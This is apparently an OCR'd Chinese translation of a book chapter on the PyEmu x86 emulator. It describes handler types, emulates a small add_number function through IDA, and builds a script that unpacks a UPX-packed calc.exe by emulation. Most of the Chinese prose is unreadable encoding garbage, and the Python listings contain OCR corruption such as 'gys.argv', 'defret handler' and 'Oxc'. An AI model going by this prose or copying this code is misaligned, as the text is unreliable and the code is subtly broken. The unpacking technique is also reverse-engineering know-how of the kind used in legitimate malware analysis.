get_stack_argument( "arg 0" )

set_stack_variable()f get_stack_variable() 45 AEHIRAABR T offset & AHXS T- EBP(UIR 7t
VERUE) LAAL, B EATT 5 o B4R e ) R AR

12.2.6 AbH PR &



Ab PEpR EL AL T PR ai ok B O IR S5 i, T
WEL, BEBEE SR T IR €5 . PyEmu A 8 N BAMHEpR AL :  register AbEEpREL,
library AbFEpR %Y, exception AbHE PR %L, instruction AL R %L, opcode AbFEpF %, memory AbFE
PR %L, high-level memory A pR%IASS program counter AbHH bR o L FRATTHRIE ) T i F A —
e, 2R R H B AT

12.2.6.1 Register 4b¥ g%

Register Handlers a7 7 #5A0FLpR 450, H T WEARAT AT 29 A7 A R o5 Ae o AT 3 A 2 1A 2
B i % Register Handlers. 222377 201 F

set_register_handler( register, register_handler_ function )
set_register_handler( "eax ", eax_register_handler )

TARFZ e, T EE B T, SR
def register_handler_function( emu, register, value, type ):

B R B I, BT S0 Y PyEmu £ N, 55—/ N2 408 /2& PyEmu SE45]
W, HELTARY, LAHFARIE, type S UFERANTXIREAE LA S . WA T /R
S RIHIX T M A7 g8 e 24 m K HIOr i, a1 R 575 EARIE Be7E AL #E pR 50 L o s e
fiTo

12.2.6.2 Library AbE 3

Library handle /A BEpq K, BELLFRATHIFEIT A AISNERZE A, AE S8 3R P2
B BER AT, IR At REAR 5 (8 (K8 i o 8 2 R K U D s DA [BIE o 2e2ke )5 A h

set_library_handler( function, library_handler_function )
set_library_handler( "CreateProcessA", create_process_handler )
set_library_handler(""LoadLibraryA", loadlibrary)

75 Kb B R K ) S R
def library_handler_function( emu, library, address ):

F—NZHOE PyEmu 52, library JFRATTAREL IS AL BRI 2R, BB, 38 —ANE R
FOWE WS AE N A R AL



12.2.6.3 Exception b33

Exception Handlers 5 & Ab P p& FOR1 58 — 55 A28 1) " Ab # pR A AL . PyEmu {5 EL28 1)
S 2 fih & Exception Handlers W H o 24 H7 PyEmu SZFril A ORI U2, & il AT sE8
A FRAEAR AL A A AT N A7 V5 el 1) 22207 Xan R
set_exception_handler( "GP", gp_exception_handler )
Exception AbPH R £ 5 Q1T

def gp_exception_handler( emu, exception, address ):

FRE, 55— ADSEE PyEmu SEH1, exception N5 4CHY, address b5 & AE Bk .

12.2.6.4 Instruction At g%

Instruction Handlers ¥§2-4bBEpRE, 1R58K, KON B REMHATM 4 € TR 2 . Bif% Cody
7E BlackHat U /s HIBAE, FREENGIH I 2255 — A CMP 84 AL BEpR 20, R I AL IR
TR0 S R, FFdlEs].

set_instruction_handler( instruction, instruction_handler )
set_instruction_handler( "cmp", cmp_instruction_handler )

Instruction AbPEpRER AU
def cmp_instruction_handler( emu, instruction, op1, op2, op3 ):

B NS HMIH 2 PyEmu 3249, instruction WA HATIIFES, F4b = A& BERIE

12.2.6.5 Opcode At FH K3

Opcode handlers #:/Ef Ak 3 & FURIFR 4 Ab 2 pR B 5 AL, ATART— AN TR A A 4 B
AT, #8231 H Opcode handlers. IXFEFRATRACHD B 45 i AR 1S RS 1o BF— M52
HA AT REA AN R RO T AN TIa %, i, PUSH EAX I /ERS & 0x50,
ifii PUSH 0x70 W #EAERS 2 0x6A, Gl R AR HHAEL UL 0x6A70,41 N iR :

50 PUSH EAX
6A70 PUSH 0x70



EATTIA) 22 2T AR TR .

set_opcode_handler( opcode, opcode_handler )
set_opcode_handler( 0x50, my_push_eax_handler )
set_opcode_handler( 0x6A70, my_push_70_handler )

AN S HOLER B RN T E AR AR, 5 A SHO A PR T o 4l
PEE FE AR A FAY, i ] BU 23X 7Y, UAEEE A FE o A B A R

def opcode_handler( emu, opcode, opl, op2, op3 ):

A PyEmu 526, S5 AT 2%, opcode ARFE R IEAERD, FF =t e$a 2
Al ReAlE H B RS S

12.2.6.6 Memory Ab P i %

Memory handlers P74t B ok B0H] T ER B E Sk (0 Bcdls U i o & RELE BATAR 5 (R
BRGE I IX R SR  H DA S 4 R A R (R e A i R e e R R

set_memory_handler( address, memory_handler )
set_memory_handler( 0x12345678, my_memory_handler )

address ] AL ANFRAVALZE MG ) N AE sk, my_memory handler st FRAT 1) 4b 22 b
o MREURTAT

def memory_handler( emu, address, value, size, type )

%A K address Ky RN AFVI A HINE, value BB B BN EE, size AL
PEIRAN, type HUFBATIXIREEAT THL 2 S

12.2.6.7 High-Level Memory b % %1

High-Level Memory Handlers =2 N AF AL BRpR AL, AR ZAR 9K dl I e e eifi], 34l
AR AL XA A CEFERRATHE) Bs o IXFERRE At 4 B N AE DT ), A IR AR
o LT E

set_memory_write_handler( memory_write_handler )
set_memory_read_handler( memory_read_handler )
set_memory_access_handler( memory_access_handler )



set_stack write_handler( stack_write_handler )
set_stack read_handler( stack_read_handler )
set_stack access_handler( stack_access_handler )

set_heap_write_handler( heap_write_handler )
set_heap_read_handler( heap_read_handler )
set_heap_access_handler( heap_access_handler )

JITA FA)3K 28 27 2 oy 5 U ] S g SR 3 — AN AR PR R B0t vl BA T, AT AR PN A7 AR S A 2 i i
FAllo AbPE R B IR G

def memory_write_handler( emu, address ):
def memory_read_handler( emu, address ):
def memory_access_handler( emu, address, type ):

memory write handler Al memory read handler /& {ij ¥ 4% PyEmu SEFIFT R A 130'S
ik, 25 = access handler £ T — type H T 156 W IX IR AN R 1) 42 152 50 P 040 A& Lo 55 40
I HE [ A 2 pR H5CFN b 1T ) —FF, ASBUIA U

12.2.6.8 Program Counter A3 %35

The program counter handler 7T 4as A FH pR 25, A0 FE 7 BRAT 2147 e Hiudil 7y )ik ik
Ko WHILFEUIT

set_pc_handler( address, pc_handler )
set_pc_handler( 0x12345678, 12345678_pc_handler )

address A FATKF 2L A Ak, — B CPU AT 2wl 25 A A FRATTIRI AL BE pRi B . Ab
BRI S R G

def pc_handler( emu, address ):

A H address A B HE B Hb AL

BAETRATICLVMHEE T, PyEmu MIEREANR. ek e T2 T/EF 7. T
K AT A5 o 55—l ] IDAPYEmu #£ IDA Pro A48l — A& 51K B B0 T o 35 =AMk
5% PEPyEmu fiff i —/M gk UPX IR4iId 1) (R R IR R 4 27 —3E S0k



12.3 IDAPyEmu

TATEE — M1 50275 IDA Pro Zp A 2P (RIS g, Al PyEmu )7 50— K ] 54 ¥ BR 2
WH o XX Rl addnum.exe, FEEIIREHUE N AT M DN S5, R
o, P e, AR C+4wS, v M\ http://www.nostarch.com/ghpython.htm. T %X

/*addnum.cpp*/
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
int add_number( int numl, int num?2 )
{
int sum;
sum = numl + num2;
return sum;
}
int main(int argc, char* argv[])
{
int numl, num2;
int return_value;
if( arge <2)
{
printf("You need to enter two numbers to add.\n");
printf("addnum.exe num1 num2\n");
return 0;
} num1 = atoi(argv[1]);
num?2 = atoi(argv[2]);
return_value = add number( numl, num?2 );
printf("Sum of %d + %d = %d",num1, num2, return_value );
return 0;

P i AT A N S 5 e il B 8, SR )5 A add_number pR AR 0. FRATT S
add_number BREEATRATIVI X G, A EW i B 45 RIARE S U, 1EATRAME
H PyEmu P2 s NA IR FE.

TEVRAN PyEmu 217, iEFRATEE add_number [ 40 f0H

var_4= dword ptr -4 # sum variable
arg 0= dword ptr 8 # int numl
arg 4=dword ptr O0Ch # int num2
push ebp



mov ebp, esp

push ecx

mov eax, [ebptarg 0]
add eax, [ebptarg 4]

mov [ebptvar 4], eax
mov eax, [ebptvar 4]
mov esp, ebp

pop ebp

retn

Listing 12-1: add_number K RIC41%HE

var 4, arg 0, arg 4 /P APESEAERT AL E, W CHI R gafIs HmT IS 2 10 E
H, BRI PATIRE, SR TATEAEH PyEmu 07 AN K3, e
A I gAY, R EE arg O AT arg 4 A TRATTFE BT, H)5 retn 3R [ 11 A2,
3R EAX IME, R0 2 s Bk [ . EOAR 07 B0 BRI T T o, ANk AN ok
ot — U R LR, — .

1231 R E

THRIIARS S, 55— D\ PyEmu [#$ 4838 IE# .

#addnum_function_call.py
import sys
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")

from PyEmu import *

BEELF AR A, SUETHR AT R IS T o e AT M R, A0S
BeAn s s B0 BAs o, DUEDT A 24T . OB 3RATT 2 A H] IDAPython Jil 41X 4%
Be, XPAHORR ARG NI RS, R+, AR,

#addnum_function_call.py

emu = IDAPyEmu()

# Load the binary's code segment
code_start = SegByName(".text")
code end = SegEnd( code start)

while code_start <= code end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=1 )



code_start += 1
print "[*] Finished loading code section into memory."

# Load the binary's data segment
data_start = SegByName(".data")
data_ end = SegEnd( data_start )

while data_start <= data_end:
emu.set_ memory( data_start, GetOriginalByte(data_start), size=1 )
data_start += 1

print "[*] Finished loading data section into memory."

A HATEART 475 B0 88 J7 1252 i #8 A0S AL — > IDAPyEmu X 5. 8235 B RS HeFn £ s d
In#adt PyEmu 8 ANAE, 44 mI L SE A4 H A i §I0E . {5 H IDAPython [¥) SegByName() b8 £ &
HEE, SegEndO)#RHE . ARG — AT PR X s i 2 b 5 UL 2] PyEmu 1) A7
o AR AR A N G, MR ERR ST, RESEHOTUMERIRE, RETYR
— retn Fi5 A0 PE PR %L

#addnum_function_call.py

# Set EIP to start executing at the function head emu.set_register("EIP", 0x00401000)

# Set up the ret handler emu.set mnemonic_handler("ret", ret_handler)

# Set the function parameters for the call emu.set stack argument(0x8, 0x00000001,
name="arg_0")

emu.set stack argument(Oxc, 0x00000002, name="arg_4")

# There are 10 instructions in this function emu.execute( steps = 10 )

print "[*] Finished function emulation run."

T 5eH EIP 3510 2 5 %k, 000401000, PyEmu /7 BL 28K WX LT LAHATIE A« #5645,
TERR Y retn 84 EIRE Bid £F(mnemonic) 84 $i5 2 40 PR pR 5 (set_instruction_handler). 2
=0, WEARS LR EORH o 7RI B3 E B 0x00000001 AT 0x00000002. )il PyEmu
AT 76 OB B E 10 ATARES . e B AS an T .

#addnum_function_call.py

import sys

sys.path.append("C:\\PyEmu")

sys.path.append("C:\\PyEmu\\lib")

from PyEmu import *

defret handler(emu, address): numl = emu.get stack argument("arg_0")
num?2 = emu.get stack argument("arg 4")

sum =emu.get register("EAX")

print "[*] Function took: %d, %d and the result is %d." % (numl, n

return True



emu = IDAPyEmu()

# Load the binary's code segment

code_start = SegByName(".text")

code end = SegEnd( code start)

while code_start <= code end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=1 )
code_start += 1

print "[*] Finished loading code section into memory."

# Load the binary's data segment

data_start = SegByName(".data")

data_ end = SegEnd( data_start )

while data_start <= data_end:
emu.set memory( data_start, GetOriginalByte(data_start), size=1 )
data_start += 1

print "[*] Finished loading data section into memory."

# Set EIP to start executing at the function head

emu.set_register("EIP", 0x00401000)

# Set up the ret handler

emu.set mnemonic_handler("ret", ret _handler)

# Set the function parameters for the call

emu.set_stack argument(0x8, 0x00000001, name="arg_0")

emu.set stack argument(Oxc, 0x00000002, name="arg_4")

# There are 10 instructions in this function

emu.execute( steps = 10 )

print "[*] Finished function emulation run."

ret 4574 Ab B pR K ] 5L BB RS R AR SO EAX M, B J5 PRI S AT 1T ER K.
H IDA Jn%k addnum.exe, #XJ5¥ PyEmu A /E IDAPython ST o Fan ik &5 R4 an k-

*] Finished loading code section into memory.

[*]
[*] Finished loading data section into memory.
[*] Function took 1, 2 and the result is 3.

[*]

*] Finished function emulation run.
Listing 12-2: IDAPyEmu 1 L i 305 i

IRGFAR TR o AN FRAR Bl AR S ECR IR [RME A I ZR, B s B B T o /BN
W02, ST CUINEAN R SCEE, BEHLISIE RS R BT U5 38, AR5 AR AH O3
PE 1001 FH BB AT OB AR P . He— R, JIRER] —A L TAT R U0k, MG XM T

TERER AR NTCEU 4332, TEI A T A RS h PR R ok, BT 8 A S, 2
PREVAE o FE R AAETRATTH PEPYEmu JEMR & — M 4 S0 1F

12.3.2 PEPyEmu



PEPyEmu ZEH] T~ W AT SCAF IS0 M (AT 2 IDA Pro). BEA Ab PR R At i i 1k 5%
T BAT SO BN AR, ARG pydasm BEATHR A fRED . R IR, FRATEE
WA IEAT — ARG B AT SO, ARG AR R R IR B h SO e A B | o IXIRAE
FH I 48 5 2F /& UPX(Ultimate Packer for Executables), — @ f R A5 R 48 544, RIS
sl e ) I R4 A, F T B R R FE ) H 4 T AT SCA, [RIREAR fE  7 01 F R ek 5 40
M o AEAEH] 1 2 X PyEmu A ( Cody Pierce $E4H YWIFEFREAT MR 211, ibIRATE F R 40
e B TAER,

1233 E451EF

RAEFEF R O SRR TR 1.44 SEL R %,  FRAAFEF w RS nT Be ek 2>
TP RN AT 3 Bl & B T5301F), BAE A B, X I At i s h
BRI R T — N F 2, R AT o — NI B R 4 A2 r 206 H bR e (1A 0HS B
ARG B AT R4, ARG 1 U e i i AT o SRR PP AT BRI, il AR Bt 2 4
JRGEARAS I BE N A7, SR SE kR R 45 N 1 55 OEP(original entry point ), JF4A 1F 58T FET
TEFRAT 3 AT AT A s 4 IR 2 00, AR DA 20 AR H e AT o K IR 23 AEL 2 FH K48 58 1k
EIUTESS (A SR & A, A AR R 18— B 2N SO, R as AT
il s AS A R R HE . SIS AW ? R ELAS o PR FRATT -3 BN 21 1E 7 AT AR 7, 1
SN R i A H DRI A8 Thaz AT, RNEER S Bl ko8, B FHEME H HOR I IR
ERRY, HeAEBIMA B USSR B e T .

X IRFATTIE B UPX K4 calc.exe. PR )5 H PyEmu fi#I5'E, H/Ji dump HoK. icf3XFh
TP FEREE T AR, TR HR

12.34 UPX

UPX & H HI1, TP, 287 51 (Linux Windows....). $AA IR 4G, H
VEZ M IE I, H T 56 & RS R0 IR 4 4155 o AT TG T BRI s 4677 52, # kAR n] Bl
R o

M http://upx.sourceforge.net %k UPX.
fRILE) C A, BT BCHRBEEDE S, BT ARATL AU dr AT #HAE . 77T CMD,
2T H B Clupx303w(th a2 UPX I H 5%), FIALL R

C:\upx303w>upx -o c:\calc_upx.exe C:\Windows\system32\calc.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2008
UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser ~ Apr 27th 2008

File size Ratio Format Name

114688 > 56832  49.55% win32/pe calc_upx.exe



Packed 1 file.
C:\upx303w>

DI 4 T Windows (1588, JF HEFAER T C LT
-o M AR, FREH SR . BROK, AR T PEPYEmu 5 T .

12.3.5 fiiffl PEPyEmu f#/E UPX

UPX JEZE o] PATFE PRI AR T T ES RN D A, MR, FE7R
NPT AR R, UPXO0 AT UPX1
o A H Immunity J1Z0E 48 FE 7 A8 2 A7 AT JRI(ALT-M), B2 5 20 R AR S H

Address Size Owner Section Contains Access Initial Access

00100000 00001000 calc_upx PE Header R RWE

01001000 00019000 calc_ upx UPXO0 RWE RWE

0101A000 00007000 calc_upx UPXI1 code RWE RWE

01021000 00007000 calc_upx .rsrc data,imports RW RWE
resources

Listing 12-3: UPX 452 5 RN AR,

UPX1 B A0, b 7 2R AR . RIS UPXT M2 Ja, ik
H UPX1 8, BARIE M ST E, JFGHAT T o FRATTEAM B 52 L0 AR 1S AT i s
A0S, [RIASWT AL EIP A1 IMP, RIS IMP 4584 {153 EIP [3u [F i UPX1 Bty
i, LI BBk 2 R AR RS B T

B R RIFWERIS GRS, X RIA ALK PEPYEmu k.

#upx_unpacker.py

from ctypes import *

# You must set your path to pyemu

sys.path.append("C:\\PyEmu")

sys.path.append("C:\\PyEmu\\lib")

from PyEmu import PEPyEmu

# Commandline arguments

exename = gys.argv[1]

outputfile = sys.argv[2]

# Instantiate our emulator object

emu = PEPyEmu()

if exename:

# Load the binary into PyEmu if not emu.load(exename):

print "[!] Problem loading %s" % exename
sys.exit(2)



else:
print "[!] Blank filename specified"
sys.exit(3) # Set our library handlers
emu.set_library handler("LoadLibraryA",  loadlibrary)
emu.set_library handler("GetProcAddress", getprocaddress)
emu.set_library_handler("VirtualProtect", virtualprotect)
# Set a breakpoint at the real entry point to dump binary emu.set mnemonic_handler( "jmp",
jmp_handler )
# Execute starting from the header entry point
emu.execute( start=emu.entry point )

B % s 4n SC 23 PyEmu . 5 %, 7E LoadLibraryA, GetProcAddress,
VirtualProtect — >4 15 FEACFH R . IX 08 oK B0HOKS A0 Ad PR ARRS i T, X SR 1 020
WATA AT BT e . =20, TR SR P PAT e % Bk 2 OEP (RN,  Fedi 1Kk
ATAHSCIHRAE, XAMESS A IMP $52 PR EOE . S URDT LA, M G e Sk il
THEIAT A

#upx_unpacker.py

from ctypes import *

# You must set your path to pyemu

sys.path.append("C:\\PyEmu")

sys.path.append("C:\\PyEmu\\lib")

from PyEmu import PEPyEmu

HMODULE WINAPI LoadLibrary(
__in  LPCTSTR IpFileName

);
def loadlibrary(name, address):
# Retrieve the DLL name
dllname = emu.get memory_string(emu.get memory(emu.get _register("ESP")
# Make a real call to LoadLibrary and return the handle
dllhandle = windll.kernel32.LoadLibraryA(dllname)
emu.set_register("EAX", dllhandle)
# Reset the stack and return from the handler
return_address = emu.get memory(emu.get register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
emu.set_register("EIP", return_address)
return True
FARPROC WINAPI GetProcAddress(
__in HMODULE hModule,
__in  LPCSTR IpProcName



);

" def getprocaddress(name, address):
# Get both arguments, which are a handle and the procedure name
handle = emu.get memory(emu.get register("ESP") + 4)
proc_name = emu.get memory(emu.get_register("ESP") + 8)

# IpProcName can be a name or ordinal, if top word is null it's an ordinal
# IpProcName 115 16 7 & null fYRME, T2 7 515 (WA e A k), &5 2 & 4
if (proc_name >> 16):
procname = emu.get memory_string(emu.get memory(emu.get register("ESP") + 8))
else:
procname = arg?2
#IX arg2 ANFIIE MR,V 1% /& procname = proc_name

# Add the procedure to the emulator
emu.os.add_library(handle, procname)
import_address = emu.os.get library address(procname)
# Return the import address
emu.set_register("EAX", import_address)
# Reset the stack and return from our handler
return_address = emu.get memory(emu.get_register("ESP"))
emu.set register("ESP", emu.get register("ESP") + 8)
HIX BLN % S r("ESP") + 8, [RINAT PS5 K 2T i
emu.set_register("EIP", return_address)
return True
BOOL WINAPI VirtualProtect(
__in  LPVOID IpAddress,
in  SIZE T dwSize,
in  DWORD fINewProtect,

__out PDWORD IpflOldProtect
);
" def virtualprotect(name, address):
# Just return TRUE
emu.set_register("EAX", 1)
# Reset the stack and return from our handler

return_address = emu.get memory(emu.get register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 16)
emu.set_register("EIP", return_address)
return True
# When the unpacking routine is finished, handle the JMP to the OEP def jmp handler(emu,

mnemonic, eip, opl, op2, op3):

# The UPX1 section



if eip < emu.sections["UPX1"]["base"]:
print "[*] We are jumping out of the unpacking routine.
print "[*] OEP = 0x%08x" % eip
# Dump the unpacked binary to disk

n

dump_unpacked(emu)
# We can stop emulating now
emu.emulating = False

return True

LoadLibrary 4b P p& 20 WA il $2 2 I DLL 427, ARG H] ctypes [ A2t
fTILIEM LoadLibraryA M, X% kernel32.dll S H . W RIIIRIAS, K ajhfh i
o5 EAX Zifrds, FORTRAEP i Iudetk, SJaEATREORIA . [FIFE,  GetProcAddress AbEEpR
BONAR 3K A S $ (arg2), AR5 AE U7 B 25 TP b AT B S0 U8 H (emu.os.add library Al
emu.os.get library address) , iX A~ b #( th  kernel32.dll T H (% 28 t 0 DL A
windll.kernel32.GetProcAddress) » < Jii 0 Hb $1ik 47 it 3] EAX, W 3 4% (31X B 5L 1F & 1F H
emu.set_register("ESP", emu.get register("ESP") + 8), At T2 NS4, NiZE+12), iR
[1]. 55 =4 VirtualProtect AP s 4, JUZ M IR A True {H, A ME —FER AL P
MR EC IR A 2 B DO FEAL, o PR AT TAN 7 S 0E 1) R A7 R B AN O s AT
TR A7 H AP I VirtualProtect Ui H #RIR M B . 5 J5 1K) IMP 54 A 21 pR 04k 17— A
BRI, B Bk AR AR B, Akt A A dump_unpacked KRS e fifh 21 Al
fit b ZJE S UM AT I AR, R TR T .

FIAEE /2 dump_unpacked fXH5 .
#upx_unpacker.py

def dump_unpacked(emu):
global outputfile
th = open(outputfile, 'wb")
print "[*] Dumping UPXO0 Section"
base = emu.sections["UPX0"]["base"]
length = emu.sections["UPX0"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x"% (base, length)
for x in range(length):
th.write("%c" % emu.get memory(base + X, 1))
print "[*] Dumping UPX1 Section"
base = emu.sections["UPX1"]["base"]
length = emu.sections["UPX1"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x" % (base, length)
for x in range(length):
th.write("%c" % emu.get memory(base + X, 1))
print "[*] Finished."

PTG LR PR UPXO0 AMTUPXT A BURARIS 5 A S — HICAF dump %20, it
REBGAIE W R P —FE T VBT T AE A AT A BT S AT -



C:\>C:\Python25\python.exe upx _unpacker.py C:\calc_upx.exe calc_clean.exe
[*] We are jumping out of the unpacking routine.

*] OEP = 0x01012475

[*] Dumping UPXO0 Section

[*] Base: 0x01001000 Vsize: 00019000

[*] Dumping UPX1 Section

[*] Base: 0x0101a000 Vsize: 00007000

[*] Finished.

C:\>

Listing 12-4:upx_unpacker.py #2475 H

WMAEBATE T — N FARINZ ) cale.exe —FEY) cale_clean.exe. KIJHE A, FA7 AL A
HEEANEFEIMBERN, FEAAZ GRS L,
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